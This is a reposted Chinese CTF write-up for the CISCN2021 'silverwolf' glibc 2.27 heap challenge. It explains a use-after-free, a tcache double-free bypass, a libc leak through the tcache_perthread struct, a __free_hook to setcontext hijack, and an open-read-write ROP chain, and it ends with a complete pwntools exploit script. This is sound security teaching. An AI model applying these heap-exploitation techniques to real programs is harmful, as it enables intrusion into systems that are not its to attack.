查看原文
其他

CISCN2021 sliverwolf PWN400

ScUpax0s 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:ScUpax0s



这道sliverwolf我个人觉得是中等偏上难度的堆题,很适合新手进阶训练,来分享一下我的题解。



一  题目概览


libc2.27的1.3版本,已经带了tcache的double free检测。需要通过破坏key来绕过double free检测。

开启了seccomp。以白名单的方式限制了只能是orw系统调用。



限制了chunk的大小不能申请大于0x78的。



二  漏洞位置


 
主要就是这个很明显的UAF漏洞。可以导致:

在突破tcache的double free检测后,可以连续double free。

可以通过show打印出已经被free后的chunk中的指针。

可以在free后去edit修改对应的指针内容。



三  利用思路


泄露libc


由于限制chunk的大小不能大于0x78,所以正常情况下没法去把一个chunk放入unsortedbin。

这里有两种思路:

1. 通过free+edit劫持tcache chunk的next指针指向tcache pthread(大小为0x250),然后申请出来,连续free他,直到填满tcahce被放入unsotedbin。

2. 在堆上伪造大的fakechunk,直接free掉fakechunk。

我这里采用1.

劫持free_hook


我们有了libc后,轻易的就可以将free_hook劫持为setcontext+53,而setcontext+53可以轻易的通过多次mov操作来重新设置寄存器,以rdi为base address来取值(类似srop),然后如果我们通过free操作,控制rdi指向的chunk首布置栈转移的chain,也就相当于可以控制了所有寄存器的值。此时完成了堆上orw的第一个准备。

分两次写入白名单orw链


在申请出来tcache pthread后我们可以对整个tcache的情况进行修改,而整个白名单orw链需要0xd8的空间,刚好比0x78+0x68大0x8。所以我们劫持tcahce pthread钟大小为0x80和0x70的tcahce的指针指向合适的地址,add0x68->写入orw1、add0x78->写入orw2,而orw1+orw2连续起来就是完成的堆上orw链。
 
最后free掉布置了栈转移的chunk即可,将rsp迁移到堆上orw链的起始位置。
 
这里需要注意:syscall;ret 这条指令直接拿ROPgadgets是搜不到的,我们直接将libc文件放入ida,根据他的编码:0x0f 0x05 0xc3在ida的binary search中搜索编码就能找到了。

 
2.27的orwHeap在:
https://blog.csdn.net/carol2358/article/details/108351308

这篇文章中有比较详细的描述,我就不从0讲了。


四  EXP


# encoding=utf-8from pwn import *from LibcSearcher import *s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rls = lambda n=2**20: io.recvlines(n) libc_path = "./libc-2.27.so"elf_path = "./silverwolf_2"libc = ELF(libc_path)elf = ELF(elf_path)#io = remote("node3.buuoj.cn",26000)if sys.argv[1]=='1': context(log_level = 'debug',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')elif sys.argv[1]=='0': context(log_level = 'info',terminal= '/bin/zsh', arch = 'amd64', os = 'linux')#io = process([elf_path],env={"LD_PRELOAD":libc_path}) cho='Your choice: ' # choice提示语siz='Size: ' # size输入提示语con='Content: ' # content输入提示语ind='Index: ' # index输入提示语edi='' # edit输入提示语def add(index='',size='',c='1'): sal(cho,c) sal(ind,str(index)) sal(siz,str(size))def free(index,c='4'): sal(cho,c) sal(ind,str(index))def show(index,c='3'): sal(cho,c) sal(ind,str(index))def edit(index,content='',c='2'): sal(cho,c) sal(ind,str(index)) sa(con,content)# 获取pie基地址def get_proc_base(p): proc_base = p.libs()[p._cwd+p.argv[0].strip('.')] info(hex(proc_base)) # 获取libc基地址 def get_libc_base(p): libc_base = p.libs()[libc_path] info(hex(libc_base)) def clean(): for i in range(14): add(0,0x18) add(0,0x58) for i in range(12): add(0,0x68) def exp(): global io #io = process(elf_path) # get_proc_base(io) # get_libc_base(io) io = remote('124.70.110.211',23535) clean() add(0,0x78) free(0) show(0) r(9) raw = u64(r(6).ljust(8,'\x00')) info("raw:"+hex(raw)) # pause() heap = raw-0x1170 success("heap: "+hex(heap)) # 泄露了heapbase edit(0,p64(heap+0x10)+p64(0)+'\n') #free(0) # 0x555555757e90 add(0,0x78) add(0,0x78) #这里申请到了tacahce pthread #free(0) edit(0,'\x00'*0x78) for i in range(7): free(0) edit(0,p64(0)*2+'\n') free(0) # 将tacahce pthread放入ub show(0) r(9) libc.address = u64(ru('\x7f').ljust(8,'\x00'))-96-0x10-libc.sym['__malloc_hook'] success("libc: "+hex(libc.address)) setcontext = libc.sym['setcontext']+53 free_hook = libc.sym['__free_hook'] success("free_hook:"+hex(free_hook)) success("setcontext:"+hex(setcontext)) #free(0) # 0x48 0x58 0x68 0x78 edit(0,p64(0x1)*8+p64(0)*3+p64(heap+0xef8)+p64(free_hook)+p64(heap+0xe18)+p64(heap+0xe80)+'\n') # 准备打freehook,0xf20和0xe80是相邻的,用来写orw链 success("orw:"+hex(heap+0xe18)) add(0,0x58) # 把freehook申请出来 edit(0,p64(setcontext)+'\n') # 改freehook为setcontext #free(0) add(0,0x48) flag_addr = heap+0xf30 rsp = heap+0xe18 rbx = 0 rbp = 0 r12 = 0 r13 = 0 r14 = 0 pop_rdi = libc.address+0x00000000000215bf stack_pivot = flat( rbx,rbp,r12,r13,r14, rsp+8, pop_rdi,'./flag\x00' ) info("stack_pivot len:"+hex(len(stack_pivot))) edit(0,stack_pivot+'\n') add(0,0x68) # 申请出0x50的写orw1 flag_str_addr = heap+0xf30 pop_rdi = libc.address+0x00000000000215bf pop_rsi = libc.address+0x0000000000023eea syscall = 0xD2745+libc.address #0x0f 0x05 0xc3 pop_rax = libc.address + 0x0000000000043ae8 pop_rdx_r10 = 0x0000000000130544+libc.address flag_addr = heap+0x200 info(hex(pop_rdi)+' '+hex(pop_rsi)) orw1 = flat( pop_rdi, flag_str_addr, pop_rsi, 0, pop_rax, 2, syscall, pop_rdi, 3, pop_rsi, flag_addr, pop_rdx_r10, 0x100, ) edit(0,orw1+'\n') add(0,0x78) orw2 = flat( 0, pop_rax, 0, syscall, pop_rdi, 1, pop_rsi, flag_addr, pop_rdx_r10, 0x100, 0, pop_rax, 1, syscall ) edit(0,orw2+'\n') shell() exp()


- End -




看雪ID:ScUpax0s

https://bbs.pediy.com/user-home-876323.htm

  *本文由看雪论坛 ScUpax0s 原创,转载请注明来自看雪社区。



《安卓高级研修班》2021年6月班火热招生中!


# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存